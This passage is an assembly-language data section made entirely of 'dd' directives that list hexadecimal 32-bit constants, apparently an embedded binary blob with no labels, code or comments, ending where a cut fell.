dd 6EB6A109h, 8EB05ED7h, 7348C44Ah, 0AC7A8544h, 2AF16082h dd 0F92808ECh, 0EF8A5403h, 4E8EFB40h, 23DC2F31h, 1BB7002Ch dd 5E024FABh, 0D872B405h, 0A48CF446h, 318EE9E6h, 9F8075DAh dd 0ED4A9825h, 0A2EEE500h, 12510C44h, 7464733Eh, 46D75F03h dd 0F1459EC4h, 0CD62ED00h, 1F09E70Eh, 0BAE13897h, 0B3F9E980h dd 688503CFh, 1D87E614h, 8C65BCA4h, 0E436001h, 5B14DEC4h dd 97A394C4h, 0FF965420h, 0B9F43A7Ah, 24A0C15Fh, 8F19122Eh dd 7280043h, 679B3CCFh, 0FDB31D3Bh, 3B385862h, 12B872CEh dd 0D1E03186h, 50F77784h, 0CDBE04C8h, 2C33BD01h, 69A467Eh dd 9BCAA07Eh, 45C0B00h, 3099928Ah, 2FF55AB9h, 2523D8h dd 9876D4D6h, 72E4D306h, 0AE3B4098h, 97FAA7B9h, 804D911Ch dd 703CEADh, 0EB091C8Fh, 438C6478h, 9CD8FEC2h, 0FF1293A8h dd 34D1731Ch, 0C8386B30h, 0C4CD2B80h, 0D07AA89h, 0B5E33425h dd 0F72A5150h, 4BCC9017h, 72282CDAh, 5EB974B6h, 7A780022h dd 0C7970094h, 10527DA3h, 0D93FB70Ch, 0F7358017h, 3CE3C990h dd 20CC0515h, 8A6E3A83h, 0AC305C2Ch, 0E3028C3Eh, 0AAD6C01Ah dd 10ACF84Fh, 65338E7h, 64CA86BFh, 92430918h, 7709E5D5h dd 47C13C6Dh, 77CCBF48h, 3CC73DAh, 274ACC0h, 0DBD7430Bh dd 0DEF61020h, 81C2FF2Ch, 36B27Eh, 0A30B9478h, 96B38705h dd 0C440EF39h, 0CEC009F3h, 0C0829F02h, 84971C14h, 0C29F3D91h dd 0C6FEB963h, 0BB207CD2h, 0C4B63E34h, 0B3F6FC13h, 3024A2F8h dd 34021D32h, 0C3F07D4Ch, 58DC5CB8h, 91C04A9Eh, 0A5811968h dd 779500EAh, 0CCAFDDFh, 7627F640h, 0AB701085h, 239500A7h dd 529E8E96h, 0A500CAE8h, 0A6755C36h, 16F7BD7h, 49B715E2h dd 60517834h, 0BC1E1358h, 8A0CF556h, 717D068h, 0B87A4CC2h dd 39839023h, 0E9099964h, 1D530DCDh, 804C11B0h, 0D384A4C2h dd 809D4CE1h, 0D2E37581h, 0B615EC48h, 967FDAF6h, 2DE9DD50h dd 30B6A00h, 5389C3EDh, 429B339Fh, 0BEA81139h, 0CC053859h dd 0E00A09BFh, 2CB4C8h, 0CA84C8B3h, 9FC47570h, 0C7C458A5h dd 64F27067h, 99038C02h, 7E9ED8CDh, 7A35A2C0h, 0DEF82EE8h dd 800B40F4h, 3C5039BBh, 143ABCA0h, 581048CFh, 37F710CCh dd 0D03FA216h, 12CAAF0h, 14CBFA02h, 7B1623DCh, 5C24ACE4h dd 0F60A3A46h, 5C78644Dh, 9B00C846h, 0EFFE3040h, 0C04394Ch dd 1D372A99h, 0C0035CD2h, 4F7C876Bh, 0A6C4244Dh, 64E8E1BCh dd 1FCAFCE4h, 0A67B0183h, 574A882Ch, 3B6C442Fh, 0E33D269Ch dd 0C337E680h, 0BE38CA6Ah, 1E0AFD3Bh, 0ED8519F7h, 58A0FC9Dh dd 81D494A1h, 6B9ACF71h, 0C83B6FF6h, 0C50B7223h, 0A1920E82h dd 52D347FEh, 7690012Ah, 736E890h, 8C8854D5h, 20B8AADAh dd 7F3F0E60h, 462A1CABh, 25394060h, 0E04CD9C0h, 0F0147A73h dd 24D51586h, 0CD852C93h, 0CC52F374h, 4DF2A8A2h, 96E85331h dd 5E4007Ch, 5D600EB2h, 194F1D15h, 0F301FC04h, 452AD107h dd 0C09018F4h, 4484F1D4h, 0B0B0526Bh, 7DA8581Fh, 7618A267h dd 1187C182h, 9529E0FCh, 104F0011h, 79F00E17h, 0FCC413AEh dd 20E81201h, 0C322D790h, 34D2234Fh, 0B4D4FEh, 93DDECCFh dd 0DA0CFA65h, 30E94D2Ah, 401FEC9Ch, 0C1251732h, 0BBF0176Ch dd 91D604C6h, 3AC06E2Ah, 0B5D20h, 0DF9C2B34h, 7F4990BDh dd 545A5309h, 0BC204194h, 0C07DE110h, 6C4064E3h, 6B25E890h dd 91DC9D3Eh, 5F5D8072h, 7322B86h, 80D90B97h, 11A0B06Dh dd 0EC7ECA9Dh, 0C527197Ch, 809CB7EDh, 0BD230B77h, 0F8BC95FCh dd 9FA19740h, 0CD580A80h, 8FA0B0E0h, 0C8175EEh, 305A23F7h dd 38A4833Ch, 0CA2FE82Fh, 3038244Ch, 2FE08E40h, 0C005C964h dd 0E4D6FBEFh, 4B336A82h, 0D4BFBA90h, 0C2465EB4h, 47247109h dd 0ACFBA0E2h, 0A86358h, 2378AE1Ah, 3BFDE90h, 7E3E0801h dd 8E99548Bh, 826C096Bh, 791C30D9h, 45F434Bh, 88B69457h dd 1365FE0h, 4D971407h, 4B93BC9h, 28FC78F3h, 0EF960D3Ah dd 0E2DCA21Bh, 127B303Eh, 32A34009h, 0C444826Ch, 60D492C3h dd 2418ECD0h, 74907156h, 5C00C146h, 0CF63EB9Eh, 74001289h dd 70918BF9h, 11F4214h, 5C2CDFBAh, 0C9FBC4A5h, 0F214225Fh dd 0C4163134h, 913EC438h, 54274A55h, 0F21AB461h, 334C013Fh dd 308018D7h, 603EC824h, 0BFE29470h, 8C4DB86Ch, 403A250Eh dd 9F67A10Eh, 0F848CF3Eh, 18B82F7Eh, 0BEEAA840h, 0D43010CAh dd 0C3EF9280h, 0B44A3DD5h, 304676ACh, 60F6E400h, 0C9EEE173h dd 8EF30490h, 0EA9B2571h, 8884E466h, 3CA9B9F5h, 953AFAACh dd 1D2004BCh, 18903C9Eh, 178AD42h, 0A0B5EB85h, 7E0FE012h dd 58F22453h, 393022F2h, 6CE800EDh, 9D250708h, 0B7243D30h dd 8C2C9406h, 3A38B809h, 64B8E570h, 0F2186068h, 11460BCCh dd 8471E755h, 1B7B8C00h, 0F873A0h, 4F1D1820h, 79036352h dd 39E63E61h, 47B6822h, 0F920E70Ch, 5AAACCCh, 3F14BD51h dd 2488549h, 20C64A80h, 0F4ED7CCAh, 77EE1AC0h, 0DC6DEFA5h dd 9470430Bh, 887D4881h, 50092E20h, 6874E96Bh, 8C2DD449h dd 0D401EEACh, 0A6C0818Ch dd 11005C9Ah, 0B95AF0B6h, 40DF54DAh, 4890017Dh, 6F62B6D3h dd 0F893E150h, 4DDA2064h, 25181095h, 0EF68008Fh, 5F18B678h dd 1271D2CCh, 9AE4892Fh, 22808244h, 81880559h, 515D2620h dd 3C1B30BCh, 0A6B7C838h, 0BF467404h, 887E4504h, 0F0CFCA4h dd 0F8C28327h, 92749E78h, 5E98B440h, 4716846h, 781A7AA3h dd 4584879Bh, 0BC78A8B3h, 0B1008C35h, 0ED372462h, 2E1CACCh dd 0C28B99Fh, 2456C485h, 0E3AAB82h, 709CF3D0h, 0E700ADE0h dd 9BFFC9D5h, 5DEEB40h, 996EA477h, 0BC24E833h, 25008C66h dd 40A2F530h, 98724958h, 86C712A6h, 33C4996h, 0CFC4D860h dd 25B11D61h, 6064F283h, 0E8B712F4h, 0EC24B836h, 4C488C34h dd 0E87E051Ah, 48BDF990h, 1C548069h, 6BF4676h, 48C0C4D1h dd 0B6549869h, 0DCCF2DACh, 0BD46BB40h, 0D128B90Fh, 0D1184Bh dd 352CB3DDh, 4D1349EBh, 44907008h, 6FE6314Eh, 17C424C0h dd 0B021C262h, 17D01932h, 0F0FB14F2h, 43C8F3F0h, 0A8279744h dd 190FB84Bh, 7DCACF33h, 0AA7C68EDh, 92D638BCh, 0DBDE7C3Ch dd 0C39E80D8h, 0E0C2CFD8h, 0DD943E75h, 0FE0E1882h, 0C4FA937Bh dd 786B604Ah, 9EC09302h, 2C485AAEh, 8624C2B3h, 1EBD0446h dd 2213CA31h, 78F32CB0h, 0F11C2040h, 472A991Dh, 0D41684E8h dd 0C084A70Ch, 551474ACh, 30E84C4Eh, 0AA12008Ch, 0CBEB9B66h dd 8625F649h, 9C0D00Ch, 5896D6C1h, 199DD0A0h, 4F003C62h dd 0E25CBCAh, 764CC2h, 0CE5CFF54h, 3C8D773Dh, 2AF7FD03h dd 0F0888509h, 5D1D9Fh, 49147696h, 18A98C20h, 0E8EB9924h dd 0E498C52Fh, 79C56028h, 0D13C02AEh, 18A3229Ch, 0C0428DCh dd 9B01FD3Fh, 2C24B472h, 8C65EC80h, 27CD4C00h, 0E9126456h dd 0CAC21238h, 2C1CA4E5h, 91CB2E2h, 74802336h, 0D72BB40Bh dd 1EF0B0FBh, 8786EDDAh, 8114F077h, 6D6F1CF6h, 413A2FC8h dd 4600AB98h, 9F240CB9h, 93477852h, 3EACD14Ch, 7A40BFD2h dd 606B448Dh, 28CCBE7h, 62429708h, 8C48FD78h, 170047DEh dd 5B38F2A3h, 2D5E5FEh, 30E69963h, 1480776Dh, 9D1352D1h dd 2A10A001h, 0E0920263h, 8F18406Bh, 1DA32766h, 9A625800h dd 63679B72h, 7760E27Eh, 82250448h, 0E43BEEDAh, 20B459C0h dd 35465Eh, 230DDAF2h, 0EE659Eh, 0CF01952Ch, 20CC8089h dd 3C78FC24h, 34509930h, 0B08F04FBh, 0C20E3CFEh, 0A4282B34h dd 0F6C4674h, 402FB635h, 0D78D1FA0h, 0E4C0057Ah, 0E638B9DAh dd 40C2E030h, 0ABB3055Bh, 0C1C609CEh, 20F1EFF0h, 0F2698864h dd 0D91809C9h, 0DA7F0080h, 0D75C8AD5h, 91CCA907h, 4C74CB65h dd 930B1CC3h, 6ABCC014h, 1DB752h, 51802591h, 0C0E5A10Dh dd 3D7E8610h, 0D20F0048h, 0E8D2DDC1h, 8C30BCE4h, 6AD37E01h dd 0A8981134h, 6E4B2036h, 0EDA100ECh, 0A59D6332h, 40309680h dd 74A2A730h, 1E3853Eh, 834AD722h, 0C98071C6h, 620C490Fh dd 0B94BFBD3h, 43C11CDAh, 20DBB146h, 0A95CC338h, 0B8005D7Ah dd 0A238D741h, 3036F20Ch, 0C400FD79h, 78C8DFAFh, 5A00D4Ch dd 0DCCF5EC0h, 4858A923h, 0F4E692E4h, 0A370C8E0h, 0F2794061h dd 30D1DB62h, 465708Bh, 42BF5002h, 0EE7D2F00h, 0C8CB0233h dd 0E56DEFD2h, 46131464h, 0F000E0Ah, 0A90C8B66h, 305F8FAh dd 8EB875CDh, 0AEA12017h, 58843350h, 0B4472418h, 1849E817h dd 3C3760h, 792E5FE5h, 81A0BAECh, 5664A090h, 94BD0350h dd 2D0C5024h, 1D2D1844h, 2710C87Dh, 0E0D3453Eh, 289A3914h dd 12B60144h, 0A0BA6EBCh, 3588C08Ch, 87AA0023h, 118C857Fh dd 7300DC24h, 21FB5281h, 0FF57DE33h, 3FB7A041h, 2C531511h dd 8C24F8B0h, 964D6100h, 0F20B14B6h, 7920B3F6h, 0F3A1868h dd 0C421C8B8h, 0F694D7E0h, 590EB3EEh, 8248D47Fh, 0F439EC04h dd 2B465E04h, 4CFB717Dh, 4900367Bh, 7E095AA5h, 0FA5463F0h dd 0EF000FD0h, 3CED7022h, 1D91F3CFh, 8021053Bh, 653E4EB6h dd 0BF246401h, 0D42EA449h, 3F33465Eh, 4CFB00B4h, 37A7E6DBh dd 24325D43h, 8C6CB8h, 17A9ED0Ah, 5268AFE5h, 1E497624h dd 0BD2BAC00h, 0E90AE69Ch, 24A24033h, 9772AE30h, 152D6820h dd 0E2008980h, 6A94F3DBh, 0BD6017Ah, 289CE87Eh, 2220ACD2h dd 0CF110239h, 0B6EF93FEh, 95BD14CEh, 80279174h, 77C3891Bh dd 70B362E8h, 0AC4523A4h, 7C8B72Fh, 70DC3B21h, 0E99014E4h dd 2C94BC74h, 0BCA85935h, 258CBFE8h, 4CF8F8CCh, 0A6190D61h dd 96F7487h, 2464C1ACh, 4A521304h, 4F00EA3h, 0D023F116h dd 0C07829h, 47E6B4D1h, 62018D90h, 43A54D5Bh, 0F0E411B7h dd 5D091357h, 0C88C8BE8h, 0DD5C028h, 0A80BD2CDh, 70C6CA52h dd 9298C0ECh, 4CD77F9Eh, 17951CF0h, 813E1174h, 8AC22A5Bh dd 28C6E6Fh, 0F8B87DE6h, 20DF0552h, 0C07E508Ch, 0A2319027h dd 716B0E68h, 63F4DB78h, 607DD85Bh, 6B5C0B56h, 90A096C1h dd 0BC9F2C1Dh, 9FC889B7h, 894D1170h, 1EE587F8h, 18AF8730h dd 41462DD3h, 0DA7D48E8h, 3E971615h, 0BCC00DCh, 0EB146DE6h dd 0A47601FAh, 437C0D56h, 0A79ACC5Ah, 270C6300h, 0A2A61D68h dd 0ED39C037h, 86CBF7A3h, 2100717Eh, 0B1A43EC0h, 0DE3D4h dd 94DEF4Ah, 76A0752Ch, 6F0934F8h, 1D606389h, 146BFA0h dd 4022A1DAh, 0B82C373Bh, 8C25ECh, 361D6333h, 0E1729AD9h dd 0F4DFE607h, 5BE5995Ch, 6F93E4BCh, 86B50FCCh, 435AC2FEh dd 9B88951h, 0D67CDE88h, 0B5E87A01h, 701D92FDh, 2802DC62h dd 79E67EC2h, 971398DCh, 5ED4E490h, 25B328BDh, 0E61B4B8Ch dd 89AFB75Ch, 15D8C8h, 17BC2459h, 6DB286C0h, 60164891h dd 36C0B89Ah, 0EFE9D0B9h, 72D71005h, 44F441F0h, 0F7C62512h dd 43E0ECEDh, 5040CA9Bh, 4A50E4B0h, 0F270B2FAh, 0F28A3123h dd 7DB24C0h, 0E3002776h, 6D37A961h, 2B175EEh, 0B7F483DFh dd 8C742834h, 44ADE88h, 0B8403C9Eh, 0E693B188h, 450BF207h dd 7E79645Ch, 53800CDAh, 0B9336F01h, 0F75A72ACh, 4B480C34h dd 0DE5484C8h, 0F89CC214h, 1FFCE1ACh, 419E1989h, 88372C10h dd 213B7A01h, 0C3B82B63h, 0B1FEF080h, 249B229Ch, 0AA82D89Eh dd 27430B92h, 5C494870h, 338D404h, 4B2200A2h, 0DF42FEE0h dd 0BEDA834Dh, 2A60B8C9h, 0BA007C6Bh, 0B911C4F5h, 209F76D7h dd 88091F2Ch, 0C9040014h, 0ED72958Fh, 91B7DFE4h, 0D8C8DA94h dd 0CB103F9Dh, 0CE7BAA5h, 21604BC4h, 9F092642h, 1C33C6Eh dd 4E39833Ah, 231C3E6Eh, 0FF550239h, 8622298h, 1429E856h dd 913497AFh, 99688124h, 122ED322h, 4C04E3B0h, 8C23E8F0h dd 0C4364906h, 9F392ED5h, 374DC10h, 77DC973h, 66C2D000h dd 0A363BB3h, 6FB78B1h, 3ED48076h, 500031D2h, 6CC11809h dd 4D0CBC81h, 0E616146Bh, 0CDECF4E4h, 2B5B4D42h, 76723A8h dd 899FFC82h, 4D9F307Ah, 71A8E124h, 375E604Fh, 77EE5F04h dd 12BF7D52h, 986FA0h, 0F49F45F5h, 301D10D5h, 0C2713973h dd 83B7F6C4h, 7C6677C4h, 0DCB7BF3Ah, 0DE23CE01h, 203E98D8h dd 8219FC68h, 10330800h, 0B85583C7h, 34FA00B3h, 0AC68FC2h dd 79371D6Bh, 89A03138h, 26669B9Dh, 744C4F9Eh, 0EE1F4C46h dd 0D789BA73h, 74D83C7Ah, 0A63099E8h, 636EE850h, 43112564h dd 7406F4D8h, 7EB15C66h, 12D09021h, 0B13E6749h, 9F9041ECh dd 0B402041Fh, 0CA3836A6h, 41DCDC98h, 81F8D73Bh, 0BCB913A9h dd 5189C1DEh, 8C047677h, 2FEE30h, 3C076B23h, 0C708EBFh dd 18FEE797h, 9021932Ah dd 0A995C640h, 884824Ch, 0E59A0242h, 0FEDEF47Ch, 0DC4502FBh dd 5FB4ECF5h, 92C02C6Dh, 5F22FEF1h, 145C93C7h, 0CC564FA2h dd 770CB69Eh, 25A11058h, 0B0D0A478h, 49C09C78h, 824E8517h dd 93AF00EDh, 6269B883h, 0F0001D4Ah, 0DC9DAC77h, 1752C15h dd 0D889C4A1h, 64AB2236h, 145A502Ch, 77E1D490h, 11C2788h dd 0B4DC0062h, 86996260h, 9890B752h, 910A4513h, 0F4A3182Bh dd 0C2248F40h, 7CA5B744h, 8413AB8Ah, 44E0D4B6h, 58006C66h dd 341709E3h, 61187A37h, 32B99127h, 18207B5Ah, 542A996Dh dd 973AA43Bh, 58E504B2h, 43602764h, 2301A907h, 0B5E29FDDh dd 244ABA0Ah, 0CDC02BC8h, 35212E7h, 0E2E36D3h, 0A2A8C446h dd 2C16EE49h, 0A8F18B55h, 23802F3Ah, 83310034h, 0A4E7A630h dd 1F0944B4h, 701CF368h, 2000593Eh, 0C57CC403h, 81F856h dd 732F0B19h, 0AA7EC231h, 0D2C4639Fh, 5920FB1Ch, 0BAA0E001h dd 8BEA6C02h, 0F9AA341Dh, 3B510000h, 961AE78Ch, 0CB002F73h dd 279F0480h, 0F6D7476Ch, 73A325EEh, 0D7D58E9h, 22B23C72h dd 0B4FBA833h, 0F4F9183Bh, 7F0FE869h, 4F468C25h, 20C16ED0h dd 4702ED3h, 0FF0980B8h, 0B47E572Ah, 1CF00C01h, 122B0B71h dd 0E0B4A6BCh, 0C041973Eh, 94783879h, 9200535Fh, 9C1D439Fh dd 9763C920h, 0D4378442h, 0A88FA41Fh, 67B88099h, 9A2B42D7h dd 8470298h, 0E0CEC454h, 35BD1452h, 97218004h, 0FBCF118Dh dd 0DB57F800h, 0DECAC0EBh, 3CBA9F23h, 65C40465h, 11486F60h dd 0A70572E6h, 0A3574429h, 0DD0348ADh, 4FCDD219h, 0C07C790h dd 8878F609h, 16605C60h, 74F26Fh, 0C2F2F539h, 4AFE042h dd 0ACC3538Eh, 30D0C8E2h, 91289797h, 2FE88065h, 0C43D0Eh dd 1FE7C96Fh, 0AA3FC218h, 3F405E49h, 0F3072540h, 0E0ADD88Ch dd 8BBF121Ch, 3CE87E82h, 0DCDE09F9h, 0C7B38640h, 131C3918h dd 1357C8A4h, 33A40F36h, 82BC0B60h, 8BF00AB6h, 0BDCC17BDh dd 0AF5103C6h, 8015325Dh, 127EA643h, 0AD241090h, 5A22D7Ch dd 0E0EC0E88h, 0C89B7809h, 20C4AC79h, 34E278B3h, 1E9B30h dd 0D8B91165h, 20B4724Ch, 0F1DDBC80h, 0E724127Ah, 39D9A07Ch dd 8E990163h, 1660134Ah, 0F4303E5Dh, 51BDA577h, 684BA49Ch dd 99C072C8h, 2B77EF8h, 86CAA2AAh, 0F05C6ED2h, 424C7649h dd 27214544h, 0D140CF63h, 349DE673h, 0FF184708h, 0C8D45021h dd 9934E30h, 0EEB6EAF7h, 29E4E0C5h, 0AB8CFD60h, 74CD5000h dd 8B455475h, 0A08A9D46h, 0FA1408ACh, 3C58641Fh, 4D721DF8h dd 540B80A0h, 5050BE99h, 1C5FF4E6h, 9EC0A49Ah, 0B2C97D83h dd 48071F01h, 3F90F07Ah, 7F2039EDh, 2DC9EF6h, 0DF56B940h dd 8D7C0055h, 98E30746h, 20E99D68h, 6C2F3BC1h, 0D9013323h dd 2DFBBCF0h, 0A42DFEF5h, 0CBBE704h, 0F418D0CFh, 0B9C0587Dh dd 62834759h, 8F94A972h, 84849B6Fh, 0E8ADE0D0h, 95D7F400h dd 1E4AFAA5h, 5A867900h, 0C19970EBh, 78E300DBh, 5B587EF4h dd 4D4B9CF6h, 0DEE0D4B6h, 33005B45h, 35ED6CC1h, 6A7520A6h dd 16A8D955h, 0AC60A9B9h, 0CC09004Ch, 0AB911033h, 3CB06054h dd 3187F20h, 0B1B7E3DAh, 43BA716Eh, 5901CCD2h, 0CDEC853Bh dd 823A5409h, 0C50029E8h, 0A249EAA6h, 45D4DAB0h, 0F0212A25h dd 0BCECDEC9h, 397A0E81h, 86CB8BDDh, 0ACC0DCCAh, 0C8022E4h dd 127BEABEh, 0A8F2881Fh, 30FAF924h, 0D27D3D5Ch, 122C824Ch dd 0F0807EC4h, 9F1D9C4Dh, 0C3805035h, 0DFA7200Bh, 2BCB024Dh dd 99760717h, 423EB887h, 0D8709370h, 10144001h, 0D7054FF6h dd 1985EBF1h, 4087CAD4h, 61144AC8h, 78B4910Eh, 789601DCh dd 9E9222ABh, 0F6E5FF6Bh, 305CF12Ch, 11C1DC42h, 2A491044h dd 0CC980E68h, 401E80C7h, 2FA05C74h, 0DD0954FFh, 0F48AC2CFh dd 0A82FDC5Ch, 48D41017h, 0F2105AF4h, 0B0FC81BCh, 252B9922h dd 6420BAF4h, 0BACF87h, 0C68B4F78h, 0FBE5C32h, 0A0382672h dd 25EF8537h, 0F4AD9182h, 190F86B8h, 0CBDF9130h, 72D80204h dd 1BCF624h, 0D86B0F17h, 0D6687D2Eh, 56A8CCB9h, 0A68C790Eh dd 3AC542DEh, 83C09B3Eh, 6F63A09Dh, 0FFBB0096h, 5E2A81CDh dd 30010D1Eh, 9F5592E9h, 6C701983h, 0B4B71743h, 0B1B8C58Ah dd 0E09C6694h, 1DA3FD9Eh, 0CF634A93h, 5A4BB6F8h, 5F305302h dd 46749CD4h, 2E111F4Ch, 8342AD87h, 729B6BD0h, 0DFDA1644h dd 0B870EDF4h, 6CA900EAh, 35E49D99h, 0AB05C0B4h, 95528D63h dd 0C580E0F8h, 549C6616h, 38A5EE17h, 6EBF80C5h, 0B91F7F58h dd 2A527DDFh, 0BF8034F8h, 7219FD6Bh, 531D5200h, 16DC1E1Fh dd 58170046h, 4E601BC4h, 0F37D2299h, 2CEE3B84h, 87D46F28h dd 623D4480h, 4884E09Dh, 8A901F11h, 105027E2h, 480BD9Fh dd 0B85F9FA7h, 730A0238h, 6024ACC0h, 0B7F243FBh, 0B4606CCDh dd 54F51A4h, 4CCAB8E0h, 0FF10A4C9h, 47387A10h, 46FA501Eh dd 112E5722h, 4B1EC413h, 0B83CD810h, 0D1028C1Eh, 0CB8CEADh dd 0CA25FFFh, 965F39A8h, 829EE4ECh, 0C244C447h, 0DBBF6F60h dd 8ECE797h, 0D32D4815h, 8E157000h, 239BED02h, 0DD9974A4h dd 900B86C2h, 8D708873h, 183A1F80h, 452C1C4h, 6423FF2Ah dd 4F4EEAFCh, 78B9F417h, 0CB0021B8h, 45BBCAD1h, 8EF392Eh dd 4D10721Ch, 4714BC02h, 7CA2554Ah, 0D4002B67h, 9DE63F0Ch dd 42440444h, 91DC61E5h, 24EF2A99h, 0C434789Ch, 58B9313Ah dd 9BBA450h, 7322377Bh, 6EA23061h, 0D3031041h, 0CD2FA3E6h dd 0B87879FCh, 0F01D1F5Dh, 0DF58C20Dh, 0A277F918h, 0C736AADCh dd 80D1CF00h, 0EB413DD7h, 18400916h, 20D448C2h, 0E458E569h dd 26666033h, 0BDAF0B1Dh, 24C88B0Ch, 535FA67Ah, 0F6DE48D1h dd 275C7A3Bh, 8F209806h, 35BA00A7h, 0EC9CBD04h, 990B630Ah dd 535FCAE3h, 4C97581Ch, 0EE2B2400h, 0BA18619h, 9E1E12C6h dd 1BB0C275h, 0EE59F05Bh, 2776AFCh, 7EC1FE6Bh, 230240D6h dd 1437F55Ah, 0F275A800h, 48031266h, 0E3127301h, 0C8588BBFh dd 7E11C0BFh, 80958490h, 667352C0h, 1CDA07B6h, 0F5C2B221h dd 2D78A0FAh, 82BF50BEh, 49943EF6h, 80025D44h, 807FB70Ch dd 4F9B8F24h, 0EF1D44E6h, 25008C73h, 85ECA079h, 22E2CA8h dd 4A8F7B10h, 385D1AC8h, 3F3198BCh, 0A4801CF6h, 24E43C8Dh dd 94BB172h, 25BCBCF4h, 5C78330Ch, 21D7D4A0h, 36E45C81h dd 1D742D72h, 419DF4D1h, 2A10902Fh, 90D98ABFh, 0C080EDA7h dd 31185F9Eh, 42376D09h, 0DA94A72Fh, 7ED59000h, 0F3EF252Dh dd 64033CD1h, 0E45D04CFh, 0E9F812EAh, 0D2AC88h, 1A6803CBh dd 82F4691Eh, 2D13994Ch, 40D4F975h, 0D23CF98Fh, 13B9B800h dd 637E6131h, 785827AFh, 0D10054F2h, 0B0F749EFh, 0E659E30Dh dd 6D43008Fh, 2EF05875h, 915F3173h, 21AC24C2h, 0D272D6C5h dd 65C9FCFCh, 612B6438h, 7DFC717Ch, 0F8DB00EAh, 0F02D0B87h dd 29F4086h, 21561010h, 51A74257h, 300ABCDCh, 1E5F13E8h dd 0BDC4F421h, 1D44422Ah, 0A0D74E9Bh, 0D6E755BCh, 3F972042h dd 20CA14A3h, 4D66876h, 9C87A61Bh, 840B001Fh, 0BC1A094Dh dd 21B915Ch, 10A477EEh, 0BDF22455h, 12E4ACA0h, 0FC31837Ch dd 0A0A12D44h, 0D968D74h, 55670E0Bh, 0B1486E65h, 174E3C08h dd 93C4E46Ch, 6B94828Ah, 0C117012Bh, 0B8DC7D62h, 1C307C60h dd 47279B11h, 90EEDAA5h, 6B7E834Ah, 0D1AC31BFh, 3FC21710h dd 33CE697h, 0DD40070Bh, 0CBCCE979h, 0C04CC85Ch, 18E871A7h dd 0DF0EC4B0h, 0E030FC9Dh dd 0BC73700Eh, 0CC3CEBB4h, 0E09F0B1Ch, 94B8C413h, 9E84F8BCh dd 0AC654856h, 68467498h, 0AF59500h, 24887DE1h, 9EF41D48h dd 99805842h, 93906033h, 205F8255h, 6F2A9818h, 2530B939h dd 0E44D38C8h, 17198225h, 82249140h, 0A3C4773Ch, 0D07A6194h dd 3FF106h, 29B0737Fh, 91D6D001h, 10A01748h, 0BC0B4393h dd 405CBA0Dh, 12810ED6h, 0D6A0BE5Dh, 0D3402B03h, 0D3391625h dd 0C5D34330h, 0BE2DA17Ah, 5E50F290h, 640C54CEh, 8BFF5F71h dd 746A4B84h, 0BC10DB00h, 2A49015Eh, 93C53C3Eh, 3CF02087h dd 0E185163Bh, 1BE8C959h, 1D11C2BCh, 9DFCC47Eh, 0DB20E890h dd 300179B0h, 8A540DA3h, 13309F5Eh, 0B02E0BCh, 0FF436A27h dd 4DE60C82h, 0C7440907h, 0D4121CC9h, 0B17001Eh, 0B64CD236h dd 5CC22CC4h, 614CCDADh, 88C98971h, 2496A48h, 39DB2237h dd 1CB8BD5Fh, 704D6F45h, 0AE2444C0h, 418700D3h, 55B8CDACh dd 0E0E62C20h, 49B980E9h, 6F0C77CEh, 166A001Fh, 2613C5E9h dd 0F600C634h, 8CAF7E64h, 0B01286C2h, 6C47B74Ch, 0D063C144h dd 0CF639890h, 47A8991Ch, 0C749E6C2h, 8004D330h, 39A91BC8h dd 140028FFh, 138052CEh, 0C19DE2h, 69678BEFh, 0E75E9E44h dd 0D0F0185Bh, 0D078486Eh, 0E975E380h, 441D890Ch, 0A1403FE4h dd 1BF121FCh, 7A3208AEh, 23B3D84h, 0A98F98C8h, 90C9E080h dd 0B42C5BB0h, 340C9410h, 0A0EB5AE0h, 0A32A24D2h, 98D740ECh dd 8CA02836h, 98154FAh, 0D7C16C68h, 5B17B322h, 0A81600FCh dd 8B8FC774h, 0E308C05Ch, 4183AB99h, 80644D3Bh, 173CC0Eh dd 305889ADh, 3C200A81h, 0D779B3AFh, 29042C00h, 0A9442D70h dd 480A2CFDh, 232933FFh, 6012DD89h, 0A719BC19h, 2B084704h dd 7B442180h, 88BAF3DDh, 40042E4h, 4387A0F5h, 3C6B0906h dd 0D881455Ah, 2A897613h, 8C39BF85h, 705B7939h, 22048C49h dd 471D13DDh, 43205762h, 75A4DD7Ah, 0D54500C2h, 0CBB3ECC4h dd 0D2033A14h, 9848E9BAh, 34009582h, 0C2D495E2h, 6FD50068h dd 3953CB12h, 8650D323h, 3A020A94h, 3D25E024h, 8E344048h dd 6798C0A7h, 9DD315ABh, 0E0B929CEh, 160758CFh, 18060E20h dd 8C8C2FE6h, 1D075F21h, 1E21ACFh, 290BD0F0h, 483F2B77h dd 5B21D0ACh, 71001672h, 1D83CB0Eh, 50079F85h, 7BDCDCh dd 0A3EBC85Ch, 4FBA821Eh, 5D161B00h, 0D274D879h, 8E99C088h dd 5B5013D1h, 0AC000B7Ah, 571E9DC7h, 0B94D6Eh, 0EC157A8Fh dd 7094824h, 3C080501h, 0A4E05D83h, 0CB994080h, 2279C5E2h dd 9DE73703h, 0A3E64F2Ah, 0E02100CEh, 3CA9C5EAh, 413818E3h dd 26A400D3h, 0CA87E16Eh, 0E5D800EDh, 6F8E86D4h, 83500582h dd 7C201BD4h, 4EAF006h, 0AFEB6471h, 1E68985Ch, 484A88h dd 4F5B3564h, 0A93A9FA2h, 39CADE05h, 0B012B4D2h, 8170E014h dd 0A02BFC06h, 5C599A00h, 7043B40h, 707149DAh, 5E51610Fh dd 7ED04098h, 82E5F7FFh, 0AC529731h, 8AA0A284h, 422C8F2Ah dd 21CB33AFh, 0E25029h, 6177C406h, 3FE018A5h, 8330959Bh dd 0E8AB0090h, 88E1EB87h, 1780A27Bh, 80D991B0h, 8066481Ah dd 3C8A28DBh, 9A9B30A4h, 0FC01D820h, 8BB09F60h, 71C319F2h dd 0A85C097Eh, 1000AE87h, 2D72622Ah, 5105A906h, 0B814F8h dd 0ADDA39E4h, 0AA98A604h, 237C70D4h, 0CF0C011Eh, 180E075Dh dd 145E88B3h, 0F9BCCF02h, 44815235h, 298A15ACh, 0E107808Fh dd 0E0CBE9C4h, 942689D9h, 0DC180B68h, 8C604F12h, 230DDD58h dd 2D11771Dh, 0DD704500h, 88EC856Fh, 87B24101h, 1E107105h dd 868CD081h, 41B70EDBh, 0E152ABB4h, 6C84D270h, 0CF126014h dd 1E07235Fh, 5800B211h, 0FCB6CF1Ah, 0D3223431h, 3A500080h dd 7B6D98AFh, 6200B5DEh, 0A7B4D92Ah, 0FB6B7D11h, 467028A8h dd 6477021Dh, 314CAFEDh, 4E4010E2h, 0B03C1764h, 3F5A01B7h dd 30E826C1h, 8452A94Bh, 91AD09A4h, 16481082h, 0EBF458C3h dd 7089B500h, 